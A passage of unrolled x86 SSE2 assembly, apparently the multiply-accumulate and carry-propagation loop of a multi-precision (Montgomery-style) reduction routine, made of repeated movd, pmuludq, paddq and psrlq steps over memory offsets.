movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (80)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (80)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (84)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (84)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (88)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (88)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (40)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (92)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (92)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (44)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (96)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
